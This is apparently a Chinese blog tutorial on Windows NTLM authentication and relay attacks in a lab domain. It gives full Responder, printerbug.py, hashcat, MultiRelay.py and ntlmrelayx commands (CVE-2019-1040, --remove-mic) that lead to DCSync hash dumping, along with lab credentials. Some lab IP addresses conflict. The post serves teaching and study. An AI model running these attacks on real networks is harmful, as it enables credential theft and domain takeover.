【内网渗透】——NTML以及Hash Relay
【内网渗透】——NTLM以及Hash Relay
文章目录
- 【内网渗透】——NTLM以及Hash Relay
- @[toc]
- 前情提要
- 1.NTML网络认证机制
- 1.1NTML协议
- 1.2NET NTMLv2
- 1.3NTML的认证方式
- 1.4NTLM hash的生成方法:
- 2.PTH(pass the hash)
- 2.1原理
- 2.2漏洞原理
- 2.3实验环境
- 2.4攻击过程
- 3Hash Relay
- 3.1概念
- 3.2Relay to SMB
- 3.3获取权限
- 4Relay To LDAP
- 4.1概念
- 4.2利用条件
- 4.3**漏洞利用攻击链**
- 4.4漏洞复现
文章目录
- 【内网渗透】——NTLM以及Hash Relay
- @[toc]
- 前情提要
- 1.NTML网络认证机制
- 1.1NTML协议
- 1.2NET NTMLv2
- 1.3NTML的认证方式
- 1.4NTLM hash的生成方法:
- 2.PTH(pass the hash)
- 2.1原理
- 2.2漏洞原理
- 2.3实验环境
- 2.4攻击过程
- 3Hash Relay
- 3.1概念
- 3.2Relay to SMB
- 3.3获取权限
- 4Relay To LDAP
- 4.1概念
- 4.2利用条件
- 4.3**漏洞利用攻击链**
- 4.4漏洞复现
前情提要
Windows内部不保存明文密码,只保存密码的hash。存放在本地的%SystemRoot%\system32\config\sam
文件之中。类似的,在域环境下,DC (Domain Controller,域控制器)中也存在这样的数据库AD (Account Database)
,位于ntds.dit
文件而为了解决LM加密和身份验证方案中固有的安全弱点,引入了NTML协议。
1.NTML网络认证机制
1.1NTML协议
NTLM是一种网络认证协议,与NTLM Hash的关系就是:NTLM网络认证协议是以NTLM Hash作为根本凭证进行认证的协议。在本地认证的过程中,其实就是将用户输入的密码转换为NTLM Hash与SAM中的NTLM Hash进行比较。
NTLM是除Kerberos
之外的一种网络认证协议,只支持Windows。它是一种基于质询/应答 (Challenge/Response)消息交换模式的认证机制, 常用于工作组和域环境下登录场景的身份认证
。
[!NOTE]
NTML认证流程
1.用户使用本地账户的凭证,服务器在本地数据库中拥有该账户的密码,可以对用户进行验证.
2.在Active Directory中,用户身份验证期间使用域用户,这个时候会要求域控制器对其用户进行验证.
1.2NET NTMLv2
NTMLv1和NTMLv2最显著的区别就是Challenge与加密算法不同
Net-ntlm hash v1的格式为:
username::hostname:LM response:NTLM response:challengeNet-ntlm hash v2的格式为:
username::domain:challenge:HMAC-MD5:blob
1.3NTML的认证方式
①交互式验证
:交互式提供必要凭据,通常应用场景通常为登录,即用户要登录某台客户端。
②非交互式验证
:无需交互式提供凭据,在实际应用中,比如命令行直接指定用户名、密码的方式登录,再比如我们在客户端上使用net use
命令去映射服务器上某个共享文件夹的方式,这些便属于属于非交互式认证。但非交互式认证的应用场景更多的是已登录某客户端的用户去请求另一台服务器的资源 ,或者为单点登录(SSO)的方式,即用户只需要登录一次即可访问所有相互信任的应用系统及共享资源。
net use x: \\17.10.0.10\$share /u:administrator password
[!NOTE]
x:
- 指定将网络共享映射到本地的 X: 驱动器\\17.10.0.10\$share
- 网络共享路径
\\17.10.0.10
- 目标服务器的 IP 地址\$share
- 服务器上的共享文件夹名称- 注意:共享名前的
$
表示这是一个隐藏共享(默认情况下在浏览网络时不可见)/u:administrator password
- 认证凭据
/u:administrator
- 指定使用 “administrator” 用户名连接password
- 指定该用户的密码(注意:这里密码是以明文形式显示)
1.4NTLM hash的生成方法:
-
将明文口令转换成十六进制的格式
-
转换成Unicode格式,即在每个字节之后添加0x00
-
对Unicode字符串作MD4加密,生成32位的十六进制数字串
NTML hash=md4(Unicode("password"))共16个字节
2.PTH(pass the hash)
2.1原理
-
攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。
-
利用中继(Relay):攻击者截获受害者的 NTLM 认证流量(如SMB、HTTP等),将其转发至目标服务器,冒充受害者身份完成认证。
-
无需破解密码:直接使用捕获的 NTLM Hash 或 Net-NTLMv2 Hash 进行身份验证。
PrinterBug (SpoolSample) 漏洞利用
2.2漏洞原理
PrinterBug(CVE-未分配,MS-RPRN滥用)允许攻击者强制 Windows 主机(包括域控制器)向攻击者控制的机器发起 NTLM 认证,从而捕获 NTLMv2 Hash 或进行 NTLM Relay 攻击。
2.3实验环境
角色 | IP | 主机 | 备注 |
---|---|---|---|
攻击机(KaliLinux) | 192.168.66.65 | root | 运行 Responder/Impacket |
目标机(windows10) | 192.168.70.149 | DESKTOP-SMR8SKD.test.com | 启用 Spooler 服务 |
域控制器(Windows08) | 192.168.70.149 | WIN-ISB0SNPKEPI.test.com | 用于 NTLM Relay |
2.4攻击过程
①确认目标print spooler服务状态
②启动Responder监听,在攻击机上启动responder,准备捕获NTML认证
sudo responder -I eth0 -A -v
[!NOTE]
-I eth0
:指定监听接口-A
:仅捕获认证不主动攻击-v
:显示详细日志
③使用Impacket工具包中的printerbug.py
触发漏洞
python3 printerbug.py test.com/s4u2@192.168.70.151 192.168.70.134
[!NOTE]
test.com/s4u2
:域账号凭据@192.168.70.151
:目标服务器192.168.70.134
:攻击机IP(Responder监听地址)
④捕获Net-NTLMv2 Hash成功
Hash会被自动保存在/usr/share/responder/logs/
目录下。
⑤Hash破解(可选)
可以使用Hashcat尝试破解捕获的Hash:
hashcat -m 5600 hash.txt rockyou.txt
[!NOTE]
-m 5600
:指定Net-NTLMv2 Hash类型hash.txt
:包含捕获的Hash文件rockyou.txt
:密码字典
3Hash Relay
3.1概念
它是发生在NTLM认证的第三步,在 Type3 Response消息中存在Net-NTLM Hash,当攻击者获得了Net-NTLM Hash后,可以进行中间人攻击,重放Net-NTLM Hash,这种攻击手法也就是大家所说的**NTLM Relay(NTLM 中继)**攻击。
前情条件这样才可以进行relay攻击
进行NTLM Relay攻击有两步:
- 第一步是获取Net-NTLM Hash
- 第二步是重放Net-NTLM Hash
3.2Relay to SMB
NTLM Relay的一种常见用途是在域中通过relay到smb服务,将管理组成员中继到一些敏感的机器上。直接Relay到SMB服务器,是最直接简单的方法。可以直接控制该服务器执行任意命令、dump hash等操作
relay到smb服务要求被攻击机器不能开启SMB签名,普通域内机器默认不是开启的,但是域控是默认开启的。在域环境中,默认普通域用户可以登录除域控外的其他所有机器(但是为了安全,企业运维人员通常会限制域用户登录的主机),因此可以将Net-NTLM Hash Relay到域内的其他机器。如果是拿到了域控机器的Net-NTLM Hash,可以Relay到除域控外的其他所有机器(为啥不Relay到其他域控,因为域内只有域控默认开启SMB签名)。
3.3获取权限
Responder下的MultiRelay.py脚本
该脚本功能强大,通过ALL参数可以获得一个稳定的shell,还有抓密码等其他功能。
python2 MultiRelay.py -t 192.168.111.131 -u ALL
①WIN2008的SMB服务默认关闭
②WIN10的SMB服务
③利用漏洞强制注入(printerbug)获得权限
python3 printerbug.py test.com/s4u2@192.168.70.135 192.168.70.134
④攻击流程图
4Relay To LDAP
4.1概念
relay到ldap有两个经典的利用:CVE-2018-8581和CVE-2019-1040
4.2利用条件
relay到ldap主要有三个利用思路,在impacket里面的ntlmrelayx都有实现
- Exchange服务器可以是任何版本(包括为PrivExchange修补的版本)。唯一的要求是,在以共享权限或RBAC模式安装,Exchange默认具有高权限。
- 域内任意账户。(由于能产生SpoolService错误的唯一要求是任何经过身份验证的域内帐户)
- CVE-2019-1040漏洞的实质是NTLM数据包完整性校验存在缺陷,故可以修改NTLM身份验证数据包而不会使身份验证失效。而此攻击链中攻击者删除了数据包中阻止从SMB转发到LDAP的标志。
- 构造请求使Exchange Server向攻击者进行身份验证,并通过LDAP将该身份验证中继到域控制器,即可使用中继受害者的权限在Active Directory中执行操作。比如为攻击者帐户授予DCSync权限。
- 如果在可信但完全不同的AD林中有用户,同样可以在域中执行完全相同的攻击。(因为任何经过身份验证的用户都可以触发SpoolService反向连接)
4.3漏洞利用攻击链
- 使用域内任意帐户,通过SMB连接到被攻击ExchangeServer,并指定中继攻击服务器。同时必须利用SpoolService错误触发反向SMB链接。
- 中继服务器通过SMB回连攻击者主机,然后利用ntlmrelayx将利用CVE-2019-1040漏洞修改NTLM身份验证数据后的SMB请求据包中继到LDAP。
- 使用中继的LDAP身份验证,此时Exchange Server可以为攻击者帐户授予DCSync权限。
- 攻击者帐户使用DCSync转储AD域中的所有域用户密码哈希值(包含域管理员的hash,此时已拿下整个域)。
4.4漏洞复现
4.4.1复现环境
DC :
Windows server 2008 R2
192.168.70.151
WIN-ISB0SPNKEPI.test.com
Exchange:
Windows 10
192.168.70.135
DESKTOP-SMR8SKD.test.com
攻击机: Kali
192.168.70.134
已获得的普通域用户:
s4u2
QAX@123
①执行ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭据中继到LDAP协议。其中–remove-mic选项用于清除MIC标志,–escalate-user用于提升指定用户权限。
impacket-ntlmrelayx -t ldap://192.168.70.158 -smb2support --remove-mic --no-dump --no-da
impacket-ntlmrelayx -t ldaps://192.168.70.158 -smb2support --remove-mic --no-dump --no-da(域控IP)
② 执行printerbug.py脚本,触发SpoolService的bug。
python3 printerbug.py test.com/s4u2@192.168.70.156 192.168.70.134(WIN10 kali)
③SpoolService的bug导致Exchange服务器回连到ntlmrelayx.py,即将认证信息发送到ntlmrelayx.py。可以在下图中看到认证用户是
接着ntlmrelayx.py开始执行LDAP攻击。
④ 之后,s4u2就可以通过secretsdump.py的DCSync功能dump出所有密码哈希值:
也就是说 s4u2用户已经具有高权限
相关文章:
【内网渗透】——NTML以及Hash Relay
【内网渗透】——NTLM以及Hash Relay 文章目录 【内网渗透】——NTLM以及Hash Relay[toc]前情提要1.NTML网络认证机制1.1NTML协议1.2NET NTMLv21.3NTML的认证方式1.4NTLM hash的生成方法: 2.PTH(pass the hash)2.1原理2.2漏洞原理2.3实验环境2.4攻击过程…...
速查 Linux 常用指令 II
目录 一、网络管理命令1. 查看和配置网络设备:ifconfig1)重启网络命令2)重启网卡命令 2. 查看与设置路由:route3. 追踪网络路由:traceroute4. 查看端口信息和使用情况1)netstat 命令2)lsof 命令…...
基于 GPUGEEK平台进行vLLM环境部署DeepSeek-R1-70B
选择 GPUGEEK 平台的原因 算力资源丰富:GPUGEEK 提供多样且高性能的 GPU 资源,像英伟达高端 GPU 。DeepSeek - R1 - 70B 模型推理计算量巨大,需要强大算力支持,该平台能满足其对计算资源的高要求,保障推理高效运行。便…...
深入理解ThingsBoard的Actor模型
1、ThingsBoard系统中定义了哪些Actor ✅ ThingsBoard Actor 创建机制与作用对照表: Actor 类型 何时创建 由谁创建 是否缓存 作用描述 SystemActor 系统启动时 DefaultActorService / ActorSystem ✅ 是 ★ ThingsBoard 平台服务级别管理器:负责创建所有的Actor AppActor...
虚幻引擎5-Unreal Engine笔记之Qt与UE中的Meta和Property
虚幻引擎5-Unreal Engine笔记之Qt与UE中的Meta和Property code review! 文章目录 虚幻引擎5-Unreal Engine笔记之Qt与UE中的Meta和Property1.Qt 中的 Meta(元对象系统)1.1 主要功能1.2 如何实现1.2.1 例子1.2.2 访问 meta 信息 2.UE5 中的 Metaÿ…...
技术中台-核心技术介绍(微服务、云原生、DevOps等)
在企业数字化中台建设中,技术中台是支撑业务中台、数据中台及其他上层应用的底层技术基础设施,其核心目标是提供标准化、可复用的技术能力,降低业务开发门槛,提升系统稳定性与扩展性。技术中台的技术栈需覆盖从开发、运维到治理的…...
attention_weights = torch.ones_like(prompt_embedding[:, :, 0]):切片操作获取第二维度,第三维度
attention_weights = torch.ones_like(prompt_embedding[:, :, 0]):切片操作获取第1 维度,第二维度 attention_weights = torch.ones_like(prompt_embedding[:, :, 0]) 这行代码的作用是创建一个与 prompt_embedding[:, :, 0] 形状相同且所有元素都为 1 的张量,它用于初始化…...
2025年中国DevOps工具选型指南:主流平台能力横向对比
在数字化转型纵深发展的2025年,中国企业的DevOps工具选型呈现多元化态势。本文从技术架构、合规适配、生态整合三个维度,对Gitee、阿里云效(云效DevOps)、GitLab CE(中国版)三大主流平台进行客观对比分析&a…...
国产ETL数据集成软件和Informatica 相比如何
数据集成领域Informatica名号可谓无人不知无人不晓。作为国际知名的ETL工具,凭借其强大的功能和多年的市场积累,赢得了众多企业的信赖。然而,随着国内企业数字化转型的加速以及对数据安全、成本控制和本地化服务的需求日益增长,国…...
FFMPEG 与 mp4
1. FFmpeg 中的 start_time 与 time_base start_time 流的起始时间戳(单位:time_base),表示第一帧的呈现时间(Presentation Time)。通常用于同步多个流(如音频和视频)。 time_base …...
在RAG中 如何提高向量搜索的准确性?
在RAG(Retrieval-Augmented Generation)系统中,提高向量搜索的准确性需要从数据预处理、模型选择、算法优化和后处理等多个维度进行综合改进。以下是具体策略的详细分析: 一、优化数据质量与预处理 1. 数据清洗与结构化 去噪与规范化:去除停用词、拼写纠错、统一大小写和…...
Python调用SQLite及pandas相关API详解
前言 SQLite是一个轻量级的嵌入式关系数据库,它不需要独立的服务器进程,将数据存储在单一的磁盘文件中。Python内置了sqlite3模块,使得我们可以非常方便地操作SQLite数据库。同时,pandas作为Python数据分析的重要工具,…...
【Java学习笔记】finalize方法
finalize 方法 说明:实际开发中很少或者几乎不会重写finalize方法,更多的是应对面试考点 说明 (1)当对象被回收时,系统会自动调用该对象的 finalize 方法。子类可以重写该方法,做一些额外的资源释放操作&…...
MySQL之基础索引
目录 引言 1、创建索引 2、索引的原理 2、索引的类型 3、索引的使用 1.添加索引 2.删除索引 3.删除主键索引 4.修改索引 5.查询索引 引言 当一个数据库里面的数据特别多,比如800万,光是创建插入数据就要十几分钟,我们查询一条信息也…...
MCU程序加密保护(二)ID 验证法 加密与解密
STM32 微控制器内部具有一个 96 位全球唯一的 CPU ID,不可更改。开发者可利用此 ID 实现芯片绑定和程序加密,增强软件安全性。 ID 验证法就是利用这个 UID,对每颗芯片的身份进行识别和绑定,从而防止程序被复制。 实现方式…...
SparkSQL的基本使用
SparkSQL 是 Apache Spark 的一个模块,用于处理结构化数据。它提供了一个高性能、分布式的 SQL 查询引擎,可以轻松处理各种数据源,包括结构化数据、半结构化数据和非结构化数据12。 SparkSQL 的特点 易整合:SparkSQL 无缝整合了…...
QListWedget控件使用指南
QListWedget公共函数 函数签名功能描述QListWidget(QWidget *parent nullptr)构造函数,创建一个QListWidget对象,可指定父部件(默认为nullptr)。virtual ~QListWidget()虚析构函数,释放QListWidget对象及其资源。voi…...
primitive创建图像物体
本节我们学习使用entity来创建物体 我们以矩形为例,在输入矩形的四个点后运行程序 //使用entity创建矩形var rectangle viewer.entities.add({rectangle: {coordinates:Cesium.Rectangle.fromDegrees(//西边的经度90,//南边维度20,//东边经度110,//北边维度30 ),material:Ces…...
MySQL 服务器配置和管理(上)
MySQL 服务器简介 通常所说的 MySQL 服务器指的是mysqld(daemon 守护进程)程序,当运⾏mysqld后对外提供MySQL 服务,这个专题的内容涵盖了以下关于MySQL 服务器以及相关配置的内容,包括: • 服务器⽀持的启动选项。可以在命令⾏和…...
跨区域智能电网负荷预测:基于 PaddleFL 的创新探索
跨区域智能电网负荷预测:基于 PaddleFL 的创新探索 摘要: 本文聚焦跨区域智能电网负荷预测,提出基于 PaddleFL 框架的联邦学习方法,整合多地区智能电网数据,实现数据隐私保护下的高精度预测,为电网调度优化提供依据,推动智能电网发展。 一、引言 在当今社会,电力作为经…...
Java 重试机制详解
文章目录 1. 重试机制基础1.1 什么是重试机制1.2 重试机制的关键要素1.3 适合重试的场景2. 基础重试实现2.1 简单循环重试2.2 带延迟的重试2.3 指数退避策略2.4 添加随机抖动2.5 使用递归实现重试2.6 可重试异常过滤3. 常用重试库介绍3.1 Spring Retry3.1.1 依赖配置3.1.2 编程…...
Spark缓存---cache方法
在Spark 中,cache() 是用于优化计算性能的核心方法之一,但它有许多细节需要深入理解。以下是关于 cache() 的详细技术解析: 1. cache() 的本质 简化的 persist():cache() 是 persist(StorageLevel.MEMORY_ONLY) 的快捷方式&#…...
一分钟了解大语言模型(LLMs)
一分钟了解大语言模型(LLMs) A Minute to Know about Large Language Models (LLMs) By JacksonML 自从ChatGPT上线发布以来,在短短的两年多时间里,全球ChatBot(聊天机器人)发展异常迅猛,更为…...
当数控编程“联姻”AI:制造工厂的“智能大脑”如何炼成?
随着DeepSeek乃至AI人工智能技术在企业中得到了广泛的关注和使用,多数企业开始了AI探索之旅,迅易科技也不例外,且在不断地实践中强化了AI智能应用创新的强大能力。许多制造企业面临着工艺知识传承困难、编程效率低下等诸多挑战, 今…...
鸿蒙OSUniApp 实现的二维码扫描与生成组件#三方框架 #Uniapp
UniApp 实现的二维码扫描与生成组件 前言 最近在做一个电商小程序时,遇到了需要扫描和生成二维码的需求。在移动应用开发中,二维码功能已经成为标配,特别是在电商、社交和支付等场景下。UniApp作为一个跨平台开发框架,为我们提供…...
【Python 内置函数】
Python 内置函数是语言核心功能的直接体现,无需导入即可使用。以下是精选的 10 大类、50 核心内置函数详解,涵盖日常开发高频场景: 一、数据类型转换 函数示例说明int()int("123") → 123字符串/浮点数转整数float()float("3…...
鸿蒙OSUniApp开发支持多语言的国际化组件#三方框架 #Uniapp
使用UniApp开发支持多语言的国际化组件 在全球化的今天,一个优秀的应用往往需要支持多种语言以满足不同地区用户的需求。本文将详细讲解如何在UniApp框架中实现一套完整的国际化解决方案,从而轻松实现多语言切换功能。 前言 去年接手了一个面向国际市场…...
MySQL之基础事务
目录 引言: 什么是事务? 事务和锁 mysql数据库控制台事务的几个重要操作指令(transaction.sql) 1、事物操作示意图: 2.事务的隔离级别 四种隔离级别: 总结一下隔离指令 1. 查看当前隔离级别 …...
OpenHarmony系统HDF驱动开发介绍(补充)
一、HDF驱动简介 HDF(Hardware Driver Foundation)驱动框架,为驱动开发者提供驱动框架能力,包括驱动加载、驱动服务管理、驱动消息机制和配置管理。 简单来说:HDF框架的驱动和Linux的驱动比较相似都是由配置文件和驱动…...
深度学习中的查全率与查准率:如何实现有效权衡
📌 友情提示: 本文内容由银河易创AI(https://ai.eaigx.com)创作平台的gpt-4-turbo模型辅助生成,旨在提供技术参考与灵感启发。文中观点或代码示例需结合实际情况验证,建议读者通过官方文档或实践进一步确认…...
文件名是 E:\20250512_191204.mp4, EV软件录屏,未保存直接关机损坏, 如何修复?
去github上下载untrunc 工具就能修复 https://github.com/anthwlock/untrunc/releases 如果访问不了 本机的 hosts文件设置 140.82.112.3 github.com 199.232.69.194 github.global.ssl.fastly.net 就能访问了 实在不行,从这里下载,传上去了 https://do…...
界面控件DevExpress WinForms v24.2 - 数据处理功能增强
DevExpress WinForms拥有180组件和UI库,能为Windows Forms平台创建具有影响力的业务解决方案。DevExpress WinForms能完美构建流畅、美观且易于使用的应用程序,无论是Office风格的界面,还是分析处理大批量的业务数据,它都能轻松胜…...
Web UI测试效率低?来试Parasoft Selenic的智能修复与分析!
如果你正在使用Selenium进行Web UI测试,但被测试维护的繁琐、测试不稳定以及测试执行缓慢等问题困扰,不妨试试Parasoft Selenic! Parasoft Selenic能够通过智能修复与分析功能,帮你自动检测并修复测试中的不稳定因素,…...
计算机视觉最不卷的方向:三维重建学习路线梳理
提到计算机视觉(CV),大多数人脑海中会立马浮现出一个字:“卷”。卷到什么程度呢?2022年秋招CV工程师岗位数下降了16%,但求职人数增加了23%,求职人数与招聘岗位的比例达到了恐怖的15:1࿰…...
国产 ETL 数据集成厂商推荐—谷云科技 RestCloud
数字化转型加速推进的商业环境中,数据已成为企业最为关键的资产之一。然而,随着企业信息化的建设不断深入,各个业务系统之间数据分散、格式不一、难以互通等问题日益凸显,严重制约了企业对数据价值的深度挖掘与高效利用。在此背景…...
vscode extention踩坑记
# npx vsce package --allow-missing-repository --no-dependencies #耗时且不稳定 npx vsce package --allow-missing-repository #用这行 code --install-extension $vsixFileName --force我问ai:为什么我的.vsix文件大了那么多 ai答:因为你没有用 --n…...
AI时代的弯道超车之第十二章:英语和编程重要性?
在这个AI重塑世界的时代,你还在原地观望吗?是时候弯道超车,抢占先机了! 李尚龙倾力打造——《AI时代的弯道超车:用人工智能逆袭人生》专栏,带你系统掌握AI知识,从入门到实战,全方位提升认知与竞争力! 内容亮点: AI基础 + 核心技术讲解 职场赋能 + 创业路径揭秘 打破…...
关于数据湖和数据仓的一些概念
一、前言 随着各行业数字化发展的深化,数据资产和数据价值已越来越被深入企业重要发展的战略重心,海量数据已成为多数企业生产实际面临的重要问题,无论存储容量还是成本,可靠性都成为考验企业数据治理的考验。本文来看下海量数据存储的数据湖和数据仓,数据仓库和数据湖,…...
hbase shell的常用命令
一、hbase shell的基础命令 # 客户端登录 [rootCloud-Hadoop-NN-02 hbase]$ ./bin/hbase shell# 查看所有表 hbase> list### 创建数据表student,包含Sname、Ssex、Sage、Sdept、course列族/列 ### 说明:列族不指定列名时,列族可以直接成为…...
高并发内存池(四):Page Cache结构设计
目录 一,项目整体框架回顾 Thread Cache结构 Central Cache结构 二,Page Cache大致框架 三,Page Cache申请内存实现 Central Cache向Page Cache申请内存接口 从Page Cache中获取span接口 Page Cache加锁问题 申请内存完整过程 源码&a…...
易学探索助手-项目记录(九)
本文介绍本地大模型推理数据集构成 (一)古籍数据获取 以44种竖向从右至左排列的繁体古文为研究对象,通过OCR识别、XML结构化处理,最终生成符合大模型训练要求的数据集。 1.技术路线设计 图像处理层:PaddleOCR识别竖…...
Idea 设置编码UTF-8 Idea中 .properties 配置文件中文乱码
Idea 设置编码UTF-8 Idea中 .properties 配置文件中文乱码 一、设置编码 1、步骤: File -> Setting -> Editor -> File encodings --> 设置编码二、配置文件中文乱码 1、步骤: File -> Setting -> Editor -> File encodings ->…...
Redis缓存穿透、雪崩、击穿的解决方案?
Redis 缓存问题解决方案及Java实现 一、缓存穿透解决方案 (缓存穿透指查询不存在数据,绕过缓存直接访问数据库) 1. 布隆过滤器 空值缓存 注意点: 1.布隆过滤器是需要预热数据的,就是需要输入当前数据库已经存在的…...
第29节:现代CNN架构-Inception系列模型
引言 Inception系列模型是卷积神经网络(CNN)发展历程中的重要里程碑,由Google研究人员提出并不断演进。这一系列模型通过创新的架构设计,在保持计算效率的同时显著提升了图像识别任务的性能。从最初的Inception v1到最新的Inception-ResNet,每一代Inception模型都引入了突破…...
初识C++:类和对象(上)
概述:本篇博客主要讲解类和对象的学习。 目录 1. 类的定义 1.1 类定义格式 1.2 访问限定符 1.3 类域 2.实例化 2.1 实例化概念 2.2 this指针 3. 小结 1. 类的定义 1.1 类定义格式 class为定义类的关键字,Stack为类的名字,{} 中为类的…...
腾讯 IMA 工作台升级:新增知识库广场与 @提问功能
目录 一、引言 二、知识库广场功能 2.1 功能架构解析 2.2 技术实现突破 三、知识库提问功能 3.1 交互模式革新 3.2 技术底层逻辑 四、实战价值 4.1 知识管理方面 4.2 工作效率提升方面 4.3 团队协作方面 4.4 知识变现方面 五、未来展望 5.1 技术演进方向 5.2 商业…...
[目标检测] YOLO系列算法讲解
前言 目标检测就是做到给模型输入一张图片或者视频,模型可以迅速判断出视频和图片里面感兴趣的目标所有的位置和它 的类别,而当前最热门的目标检测的模型也就是YOLO系列了。 YOLO系列的模型的提出,是为了解决当时目标检测的模型帧率太低而提…...
Python 之 selenium 打开浏览器指定端口进行接续操作
一般使用 selenium 进行数据爬取时,常用处理流程是让 selenium 从打开浏览器开始,完成全流程的所有操作。但是有时候,我们希望用户先自己打开浏览器进入指定网页,完成登录认证等一系列操作之后(比如用户、密码、短信验…...
GPUGeek携手ComfyUI :低成本文生图的高效解决方案
一、文生图领域的困境与ComfyUI的优势 在当今数字化创意表达的时代,文生图技术日益受到关注。像豆包这类以语言交互为主的大模型,虽然在文本处理上表现出色,但在文生图方面,其生成效果难以达到专业图像创作的要求。而Midjourney&…...
OpenCV CUDA 模块中用于在 GPU 上计算两个数组对应元素差值的绝对值函数absdiff(
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 void cv::cuda::absdiff 是 OpenCV CUDA 模块中的一个函数,用于在 GPU 上计算两个数组对应元素差值的绝对值。 该函数会逐元素计算两…...